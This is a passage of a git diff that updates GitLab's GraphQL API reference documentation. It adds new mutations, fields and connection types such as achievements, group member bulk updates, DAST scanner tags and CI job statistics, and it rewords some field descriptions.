Reference](reference/index.md) for up-to-date information. diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index a3d4458bb6c..4bd7702474f 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -216,7 +216,7 @@ Returns [`Issue`](#issue). ### `Query.issues` -Issues visible by the current user. Returns null if the `root_level_issues_query` feature flag is disabled. +Find issues visible to the current user. At least one filter must be provided. Returns `null` if the `root_level_issues_query` feature flag is disabled. WARNING: **Introduced** in 15.6. @@ -505,6 +505,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="querytimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="querytimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="querytimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="querytimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="querytimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a id="querytimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="querytimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -679,6 +680,29 @@ mutation($id: NoteableID!, $body: String!) { } ``` +### `Mutation.achievementsCreate` + +Input type: `AchievementsCreateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationachievementscreateavatar"></a>`avatar` | [`Upload`](#upload) | Avatar for the achievement. | +| <a id="mutationachievementscreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationachievementscreatedescription"></a>`description` | [`String`](#string) | Description of or notes for the achievement. | +| <a id="mutationachievementscreatename"></a>`name` | [`String!`](#string) | Name for the achievement. | +| <a id="mutationachievementscreatenamespaceid"></a>`namespaceId` | [`NamespaceID!`](#namespaceid) | Namespace for the achievement. | +| <a id="mutationachievementscreaterevokeable"></a>`revokeable` | [`Boolean!`](#boolean) | Revokeability for the achievement. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationachievementscreateachievement"></a>`achievement` | [`Achievement`](#achievement) | Achievement created. | +| <a id="mutationachievementscreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationachievementscreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | + ### `Mutation.addProjectToSecurityDashboard` Input type: `AddProjectToSecurityDashboardInput` @@ -1121,7 +1145,7 @@ Input type: `CiCdSettingsUpdateInput` | <a id="mutationcicdsettingsupdatefullpath"></a>`fullPath` | [`ID!`](#id) | Full Path of the project the settings belong to. | | <a id="mutationcicdsettingsupdateinboundjobtokenscopeenabled"></a>`inboundJobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in other projects have restricted access to this project. | | <a id="mutationcicdsettingsupdatejobtokenscopeenabled"></a>`jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in this project have restricted access to other projects. | -| <a id="mutationcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for this project. | +| <a id="mutationcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for the project. | | <a id="mutationcicdsettingsupdatemergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. | | <a id="mutationcicdsettingsupdatemergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. | @@ -1505,7 +1529,7 @@ Input type: `CreateClusterAgentInput` | ---- | ---- | ----------- | | <a id="mutationcreateclusteragentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationcreateclusteragentname"></a>`name` | [`String!`](#string) | Name of the cluster agent. | -| <a id="mutationcreateclusteragentprojectpath"></a>`projectPath` | [`ID!`](#id) | Full path of the associated project for this cluster agent. | +| <a id="mutationcreateclusteragentprojectpath"></a>`projectPath` | [`ID!`](#id) | Full path of the associated project for the cluster agent. | #### Fields @@ -1722,7 +1746,7 @@ Input type: `CreateNoteInput` | <a id="mutationcreatenotebody"></a>`body` | [`String!`](#string) | Content of the note. | | <a id="mutationcreatenoteclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationcreatenoteconfidential"></a>`confidential` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated:** This was renamed. Please use `internal`. Deprecated in 15.3. | -| <a id="mutationcreatenotediscussionid"></a>`discussionId` | [`DiscussionID`](#discussionid) | Global ID of the discussion this note is in reply to. | +| <a id="mutationcreatenotediscussionid"></a>`discussionId` | [`DiscussionID`](#discussionid) | Global ID of the discussion the note is in reply to. | | <a id="mutationcreatenoteinternal"></a>`internal` | [`Boolean`](#boolean) | Internal flag for a note. Default is false. | | <a id="mutationcreatenotemergerequestdiffheadsha"></a>`mergeRequestDiffHeadSha` | [`String`](#string) | SHA of the head commit which is used to ensure that the merge request has not been updated since the request was sent. | | <a id="mutationcreatenotenoteableid"></a>`noteableId` | [`NoteableID!`](#noteableid) | Global ID of the resource to add a note to. | @@ -2026,6 +2050,7 @@ Input type: `DastScannerProfileCreateInput` | <a id="mutationdastscannerprofilecreatescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | <a id="mutationdastscannerprofilecreateshowdebugmessages"></a>`showDebugMessages` | [`Boolean`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | <a id="mutationdastscannerprofilecreatespidertimeout"></a>`spiderTimeout` | [`Int`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | +| <a id="mutationdastscannerprofilecreatetaglist"></a>`tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the scanner profile. | | <a id="mutationdastscannerprofilecreatetargettimeout"></a>`targetTimeout` | [`Int`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | <a id="mutationdastscannerprofilecreateuseajaxspider"></a>`useAjaxSpider` | [`Boolean`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -2072,6 +2097,7 @@ Input type: `DastScannerProfileUpdateInput` | <a id="mutationdastscannerprofileupdatescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | <a id="mutationdastscannerprofileupdateshowdebugmessages"></a>`showDebugMessages` | [`Boolean`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | <a id="mutationdastscannerprofileupdatespidertimeout"></a>`spiderTimeout` | [`Int!`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | +| <a id="mutationdastscannerprofileupdatetaglist"></a>`tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the scanner profile. | | <a id="mutationdastscannerprofileupdatetargettimeout"></a>`targetTimeout` | [`Int!`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | <a id="mutationdastscannerprofileupdateuseajaxspider"></a>`useAjaxSpider` | [`Boolean`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -3006,6 +3032,28 @@ Input type: `GitlabSubscriptionActivateInput` | <a id="mutationgitlabsubscriptionactivatefuturesubscriptions"></a>`futureSubscriptions` | [`[SubscriptionFutureEntry!]`](#subscriptionfutureentry) | Array of future subscriptions. | | <a id="mutationgitlabsubscriptionactivatelicense"></a>`license` | [`CurrentLicense`](#currentlicense) | Current license. | +### `Mutation.groupMemberBulkUpdate` + +Input type: `GroupMemberBulkUpdateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationgroupmemberbulkupdateaccesslevel"></a>`accessLevel` | [`MemberAccessLevel!`](#memberaccesslevel) | Access level to update the members to. | +| <a id="mutationgroupmemberbulkupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationgroupmemberbulkupdateexpiresat"></a>`expiresAt` | [`Time`](#time) | Date and time the membership expires. | +| <a id="mutationgroupmemberbulkupdategroupid"></a>`groupId` | [`GroupID!`](#groupid) | Global ID of the group. | +| <a id="mutationgroupmemberbulkupdateuserids"></a>`userIds` | [`[UserID!]!`](#userid) | Global IDs of the group members. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationgroupmemberbulkupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationgroupmemberbulkupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationgroupmemberbulkupdategroupmembers"></a>`groupMembers` | [`[GroupMember!]`](#groupmember) | Group members after mutation. | + ### `Mutation.groupUpdate` Input type: `GroupUpdateInput` @@ -3703,6 +3751,7 @@ Input type: `JobPlayInput` | ---- | ---- | ----------- | | <a id="mutationjobplayclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationjobplayid"></a>`id` | [`CiBuildID!`](#cibuildid) | ID of the job to mutate. | +| <a id="mutationjobplayvariables"></a>`variables` | [`[CiVariableInput!]`](#civariableinput) | Variables to use when playing a manual job. | #### Fields @@ -3809,11 +3858,11 @@ Input type: `MergeRequestAcceptInput` | <a id="mutationmergerequestacceptcommitmessage"></a>`commitMessage` | [`String`](#string) | Custom merge commit message. | | <a id="mutationmergerequestacceptiid"></a>`iid` | [`String!`](#string) | IID of the merge request to mutate. | | <a id="mutationmergerequestacceptprojectpath"></a>`projectPath` | [`ID!`](#id) | Project the merge request to mutate is in. | -| <a id="mutationmergerequestacceptsha"></a>`sha` | [`String!`](#string) | HEAD SHA at the time when this merge was requested. | +| <a id="mutationmergerequestacceptsha"></a>`sha` | [`String!`](#string) | HEAD SHA at the time when the merge was requested. | | <a id="mutationmergerequestacceptshouldremovesourcebranch"></a>`shouldRemoveSourceBranch` | [`Boolean`](#boolean) | Should the source branch be removed. | | <a id="mutationmergerequestacceptsquash"></a>`squash` | [`Boolean`](#boolean) | Squash commits on the source branch before merge. | | <a id="mutationmergerequestacceptsquashcommitmessage"></a>`squashCommitMessage` | [`String`](#string) | Custom squash commit message (if squash is true). | -| <a id="mutationmergerequestacceptstrategy"></a>`strategy` | [`MergeStrategyEnum`](#mergestrategyenum) | How to merge this merge request. | +| <a id="mutationmergerequestacceptstrategy"></a>`strategy` | [`MergeStrategyEnum`](#mergestrategyenum) | How to merge the merge request. | #### Fields @@ -4406,7 +4455,7 @@ Input type: `ProjectCiCdSettingsUpdateInput` | <a id="mutationprojectcicdsettingsupdatefullpath"></a>`fullPath` | [`ID!`](#id) | Full Path of the project the settings belong to. | | <a id="mutationprojectcicdsettingsupdateinboundjobtokenscopeenabled"></a>`inboundJobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in other projects have restricted access to this project. | | <a id="mutationprojectcicdsettingsupdatejobtokenscopeenabled"></a>`jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in this project have restricted access to other projects. | -| <a id="mutationprojectcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for this project. | +| <a id="mutationprojectcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for the project. | | <a id="mutationprojectcicdsettingsupdatemergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. | | <a id="mutationprojectcicdsettingsupdatemergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. | @@ -5400,7 +5449,7 @@ Input type: `UpdateBoardListInput` | Name | Type | Description | | ---- | ---- | ----------- | | <a id="mutationupdateboardlistclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationupdateboardlistcollapsed"></a>`collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for this user. | +| <a id="mutationupdateboardlistcollapsed"></a>`collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for the user. | | <a id="mutationupdateboardlistlistid"></a>`listId` | [`ListID!`](#listid) | Global ID of the list. | | <a id="mutationupdateboardlistposition"></a>`position` | [`Int`](#int) | Position of list within the board. | @@ -5542,7 +5591,7 @@ Input type: `UpdateEpicBoardListInput` | Name | Type | Description | | ---- | ---- | ----------- | | <a id="mutationupdateepicboardlistclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationupdateepicboardlistcollapsed"></a>`collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for this user. | +| <a id="mutationupdateepicboardlistcollapsed"></a>`collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for the user. | | <a id="mutationupdateepicboardlistlistid"></a>`listId` | [`BoardsEpicListID!`](#boardsepiclistid) | Global ID of the epic list. | | <a id="mutationupdateepicboardlistposition"></a>`position` | [`Int`](#int) | Position of list within the board. | @@ -5723,11 +5772,12 @@ Input type: `UpdateRequirementInput` | ---- | ---- | ----------- | | <a id="mutationupdaterequirementclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationupdaterequirementdescription"></a>`description` | [`String`](#string) | Description of the requirement. | -| <a id="mutationupdaterequirementiid"></a>`iid` | [`String!`](#string) | IID of the requirement to update. | +| <a id="mutationupdaterequirementiid"></a>`iid` **{warning-solid}** | [`String`](#string) | **Deprecated:** Use work_item_iid instead. Deprecated in 15.8. | | <a id="mutationupdaterequirementlasttestreportstate"></a>`lastTestReportState` | [`TestReportState`](#testreportstate) | Creates a test report for the requirement with the given state. | | <a id="mutationupdaterequirementprojectpath"></a>`projectPath` | [`ID!`](#id) | Full project path the requirement is associated with. | | <a id="mutationupdaterequirementstate"></a>`state` | [`RequirementState`](#requirementstate) | State of the requirement. | | <a id="mutationupdaterequirementtitle"></a>`title` | [`String`](#string) | Title of the requirement. | +| <a id="mutationupdaterequirementworkitemiid"></a>`workItemIid` | [`String`](#string) | IID of the requirement work item to update. | #### Fields @@ -6213,6 +6263,29 @@ Some of the types in the schema exist solely to model connections. Each connecti has a distinct, named type, with a distinct named edge type. These are listed separately below. +#### `AchievementConnection` + +The connection type for [`Achievement`](#achievement). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="achievementconnectionedges"></a>`edges` | [`[AchievementEdge]`](#achievementedge) | A list of edges. | +| <a id="achievementconnectionnodes"></a>`nodes` | [`[Achievement]`](#achievement) | A list of nodes. | +| <a id="achievementconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `AchievementEdge` + +The edge type for [`Achievement`](#achievement). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="achievementedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="achievementedgenode"></a>`node` | [`Achievement`](#achievement) | The item at the end of the edge. | + #### `AgentConfigurationConnection` The connection type for [`AgentConfiguration`](#agentconfiguration). @@ -6838,6 +6911,7 @@ The connection type for [`CiRunner`](#cirunner). | ---- | ---- | ----------- | | <a id="cirunnerconnectioncount"></a>`count` | [`Int!`](#int) | Total count of collection. | | <a id="cirunnerconnectionedges"></a>`edges` | [`[CiRunnerEdge]`](#cirunneredge) | A list of edges. | +| <a id="cirunnerconnectionjobsstatistics"></a>`jobsStatistics` | [`CiJobsStatistics`](#cijobsstatistics) | Jobs statistics for jobs executed by a collection of runners. Available only to admins. | | <a id="cirunnerconnectionnodes"></a>`nodes` | [`[CiRunner]`](#cirunner) | A list of nodes. | | <a id="cirunnerconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | @@ -7641,6 +7715,29 @@ The edge type for [`Discussion`](#discussion). | <a id="discussionedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="discussionedgenode"></a>`node` | [`Discussion`](#discussion) | The item at the end of the edge. | +#### `EmailConnection` + +The connection type for [`Email`](#email). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="emailconnectionedges"></a>`edges` | [`[EmailEdge]`](#emailedge) | A list of edges. | +| <a id="emailconnectionnodes"></a>`nodes` | [`[Email]`](#email) | A list of nodes. | +| <a id="emailconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `EmailEdge` + +The edge type for [`Email`](#email). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="emailedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="emailedgenode"></a>`node` | [`Email`](#email) | The item at the end of the edge. | + #### `EnvironmentConnection` The connection type for [`Environment`](#environment). @@ -8454,6 +8551,29 @@ The edge type for [`Milestone`](#milestone). | <a id="milestoneedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="milestoneedgenode"></a>`node` | [`Milestone`](#milestone) | The item at the end of the edge. | +#### `NamespaceCommitEmailConnection` + +The connection type for [`NamespaceCommitEmail`](#namespacecommitemail). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="namespacecommitemailconnectionedges"></a>`edges` | [`[NamespaceCommitEmailEdge]`](#namespacecommitemailedge) | A list of edges. | +| <a id="namespacecommitemailconnectionnodes"></a>`nodes` | [`[NamespaceCommitEmail]`](#namespacecommitemail) | A list of nodes. | +| <a id="namespacecommitemailconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `NamespaceCommitEmailEdge` + +The edge type for [`NamespaceCommitEmail`](#namespacecommitemail). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="namespacecommitemailedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="namespacecommitemailedgenode"></a>`node` | [`NamespaceCommitEmail`](#namespacecommitemail) | The item at the end of the edge. | + #### `NamespaceConnection` The connection type for [`Namespace`](#namespace). @@ -9783,9 +9903,11 @@ The connection type for [`Timelog`](#timelog). | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="timelogconnectioncount"></a>`count` | [`Int!`](#int) | Total count of collection. | | <a id="timelogconnectionedges"></a>`edges` | [`[TimelogEdge]`](#timelogedge) | A list of edges. | | <a id="timelogconnectionnodes"></a>`nodes` | [`[Timelog]`](#timelog) | A list of nodes. | | <a id="timelogconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | +| <a id="timelogconnectiontotalspenttime"></a>`totalSpentTime` | [`Int!`](#int) | Total time spent in seconds. | #### `TimelogEdge` @@ -10243,6 +10365,21 @@ Representation of a GitLab user. | <a id="accessleveluserwebpath"></a>`webPath` | [`String!`](#string) | Web path of the user. | | <a id="accessleveluserweburl"></a>`webUrl` | [`String!`](#string) | Web URL of the user. | +### `Achievement` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="achievementavatarurl"></a>`avatarUrl` | [`String`](#string) | URL to avatar of the achievement. | +| <a id="achievementcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp the achievement was created. | +| <a id="achievementdescription"></a>`description` | [`String`](#string) | Description or notes for the achievement. | +| <a id="achievementid"></a>`id` | [`AchievementsAchievementID!`](#achievementsachievementid) | ID of the achievement. | +| <a id="achievementname"></a>`name` | [`String!`](#string) | Name of the achievement. | +| <a id="achievementnamespace"></a>`namespace` | [`Namespace!`](#namespace) | Namespace of the achievement. | +| <a id="achievementrevokeable"></a>`revokeable` | [`Boolean!`](#boolean) | Revokeability of the achievement. | +| <a id="achievementupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the achievement was last updated. | + ### `AgentConfiguration` Configuration details for an Agent. @@ -10275,6 +10412,7 @@ Describes an alert from the project's Alert Management. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="alertmanagementalertassignees"></a>`assignees` | [`UserCoreConnection`](#usercoreconnection) | Assignees of the alert. (see [Connections](#connections)) | +| <a id="alertmanagementalertcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="alertmanagementalertcreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp the alert was created. | | <a id="alertmanagementalertdescription"></a>`description` | [`String`](#string) | Description of the alert. | | <a id="alertmanagementalertdetails"></a>`details` | [`JSON`](#json) | Alert details. | @@ -10614,6 +10752,7 @@ Represents an epic on an issue board. | <a id="boardepicblockingcount"></a>`blockingCount` | [`Int`](#int) | Count of epics that this epic is blocking. | | <a id="boardepicclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the epic was closed. | | <a id="boardepiccolor"></a>`color` | [`String`](#string) | Color of the epic. Returns `null` if `epic_color_highlight` feature flag is disabled. | +| <a id="boardepiccommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="boardepicconfidential"></a>`confidential` | [`Boolean`](#boolean) | Indicates if the epic is confidential. | | <a id="boardepiccreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp of when the epic was created. | | <a id="boardepicdefaultprojectforissuecreation"></a>`defaultProjectForIssueCreation` | [`Project`](#project) | Default Project for issue creation. Based on the project the user created the last issue in. | @@ -10851,10 +10990,11 @@ List of branch rules for a project, grouped by branch name. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="branchruleapprovalrules"></a>`approvalRules` | [`ApprovalProjectRuleConnection`](#approvalprojectruleconnection) | Merge request approval rules configured for this branch rule. (see [Connections](#connections)) | -| <a id="branchrulebranchprotection"></a>`branchProtection` | [`BranchProtection!`](#branchprotection) | Branch protections configured for this branch rule. | +| <a id="branchrulebranchprotection"></a>`branchProtection` | [`BranchProtection`](#branchprotection) | Branch protections configured for this branch rule. | | <a id="branchrulecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the branch rule was created. | | <a id="branchruleexternalstatuschecks"></a>`externalStatusChecks` | [`ExternalStatusCheckConnection`](#externalstatuscheckconnection) | External status checks configured for this branch rule. (see [Connections](#connections)) | | <a id="branchruleisdefault"></a>`isDefault` | [`Boolean!`](#boolean) | Check if this branch rule protects the project's default branch. | +| <a id="branchruleisprotected"></a>`isProtected` | [`Boolean!`](#boolean) | Check if this branch rule protects access for the branch. | | <a id="branchrulematchingbranchescount"></a>`matchingBranchesCount` | [`Int!`](#int) | Number of existing branches that match this branch rule. | | <a id="branchrulename"></a>`name` | [`String!`](#string) | Branch name, with wildcards, for the branch rules. | | <a id="branchruleupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the branch rule was last updated. | @@ -11113,6 +11253,30 @@ CI/CD variables for a GitLab instance. | ---- | ---- | ----------- | | <a id="cijobtokenscopetypeprojects"></a>`projects` | [`ProjectConnection!`](#projectconnection) | Allow list of projects that can be accessed by CI Job tokens created by this project. (see [Connections](#connections)) | +### `CiJobsDurationStatistics` + +Representation of duration statistics for a group of CI jobs. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="cijobsdurationstatisticsp50"></a>`p50` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 50th percentile. 50% of the durations are lower than this value. | +| <a id="cijobsdurationstatisticsp75"></a>`p75` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 75th percentile. 75% of the durations are lower than this value. | +| <a id="cijobsdurationstatisticsp90"></a>`p90` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 90th percentile. 90% of the durations are lower than this value. | +| <a id="cijobsdurationstatisticsp95"></a>`p95` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 95th percentile. 95% of the durations are lower than this value. | +| <a id="cijobsdurationstatisticsp99"></a>`p99` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 99th percentile. 99% of the durations are lower than this value. | + +### `CiJobsStatistics` + +Statistics for a group of CI jobs. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="cijobsstatisticsqueuedduration"></a>`queuedDuration` **{warning-solid}** | [`CiJobsDurationStatistics`](#cijobsdurationstatistics) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Statistics for amount of time that jobs were waiting to be picked up. The calculation is performed based on the most recent 100 jobs executed by the 5000 most recently created runners in context. If no filter is applied to runners, the calculation is performed based on the most recent 100 jobs globally. | + ### `CiManualVariable` CI/CD variables given to a manual job. @@ -11183,7 +11347,7 @@ CI/CD variables for a project. | <a id="cirunnerdescription"></a>`description` | [`String`](#string) | Description of the runner. | | <a id="cirunnereditadminurl"></a>`editAdminUrl` | [`String`](#string) | Admin form URL of the runner. Only available for administrators. | | <a id="cirunnerexecutorname"></a>`executorName` | [`String`](#string) | Executor last advertised by the runner. | -| <a id="cirunnergroups"></a>`groups` | [`GroupConnection`](#groupconnection) | Types::GroupConnection. (see [Connections](#connections)) | +| <a id="cirunnergroups"></a>`groups` | [`GroupConnection`](#groupconnection) | Groups the runner is associated with. For group runners only. (see [Connections](#connections)) | | <a id="cirunnerid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner. | | <a id="cirunneripaddress"></a>`ipAddress` | [`String`](#string) | IP address of the runner. | | <a id="cirunnerjobcount"></a>`jobCount` | [`Int`](#int) | Number of jobs processed by the runner (limited to 1000, plus one to indicate that more items exist). | @@ -11769,6 +11933,30 @@ A custom emoji uploaded by user. | <a id="customerrelationsorganizationname"></a>`name` | [`String!`](#string) | Name of the organization. | | <a id="customerrelationsorganizationupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the organization was last updated. | +### `DastPreScanVerification` + +Represents a DAST Pre Scan Verification. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="dastprescanverificationprescanverificationsteps"></a>`preScanVerificationSteps` | [`[DastPreScanVerificationStep!]`](#dastprescanverificationstep) | Pre Scan Verifications Steps. | +| <a id="dastprescanverificationstatus"></a>`status` | [`DastPreScanVerificationStatus`](#dastprescanverificationstatus) | Status of the pre scan verification. | +| <a id="dastprescanverificationvalid"></a>`valid` | [`Boolean!`](#boolean) | Whether or not the configuration has changed after the last pre scan run. | + +### `DastPreScanVerificationStep` + +Represents a DAST Pre Scan Verification Step. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="dastprescanverificationsteperrors"></a>`errors` | [`[String!]`](#string) | Errors that occurred in the pre scan verification step. | +| <a id="dastprescanverificationstepname"></a>`name` | [`String`](#string) | Name of the pre scan verification step. | +| <a id="dastprescanverificationstepsuccess"></a>`success` | [`Boolean!`](#boolean) | Whether or not the pre scan verification step has errors. | + ### `DastProfile` Represents a DAST Profile. @@ -11778,6 +11966,7 @@ Represents a DAST Profile. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="dastprofilebranch"></a>`branch` | [`DastProfileBranch`](#dastprofilebranch) | Associated branch. | +| <a id="dastprofiledastprescanverification"></a>`dastPreScanVerification` | [`DastPreScanVerification`](#dastprescanverification) | DAST Pre Scan Verification associated with the site profile. Will always return `null` if `dast_on_demand_scans_scheduler` feature flag is disabled. | | <a id="dastprofiledastprofileschedule"></a>`dastProfileSchedule` | [`DastProfileSchedule`](#dastprofileschedule) | Associated profile schedule. | | <a id="dastprofiledastscannerprofile"></a>`dastScannerProfile` | [`DastScannerProfile`](#dastscannerprofile) | Associated scanner profile. | | <a id="dastprofiledastsiteprofile"></a>`dastSiteProfile` | [`DastSiteProfile`](#dastsiteprofile) | Associated site profile. | @@ -11839,6 +12028,7 @@ Represents a DAST scanner profile. | <a id="dastscannerprofilescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | <a id="dastscannerprofileshowdebugmessages"></a>`showDebugMessages` | [`Boolean!`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | <a id="dastscannerprofilespidertimeout"></a>`spiderTimeout` | [`Int`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | +| <a id="dastscannerprofiletaglist"></a>`tagList` | [`[String!]`](#string) | Runner tags associated with the scanner profile. | | <a id="dastscannerprofiletargettimeout"></a>`targetTimeout` | [`Int`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | <a id="dastscannerprofileuseajaxspider"></a>`useAjaxSpider` | [`Boolean!`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -12080,6 +12270,33 @@ Tags for a given deployment. | <a id="deploymenttagname"></a>`name` | [`String`](#string) | Name of this git tag. | | <a id="deploymenttagpath"></a>`path` | [`String`](#string) | Path for this tag. | +### `DescriptionVersion` + +#### Fields + +| Name | Type 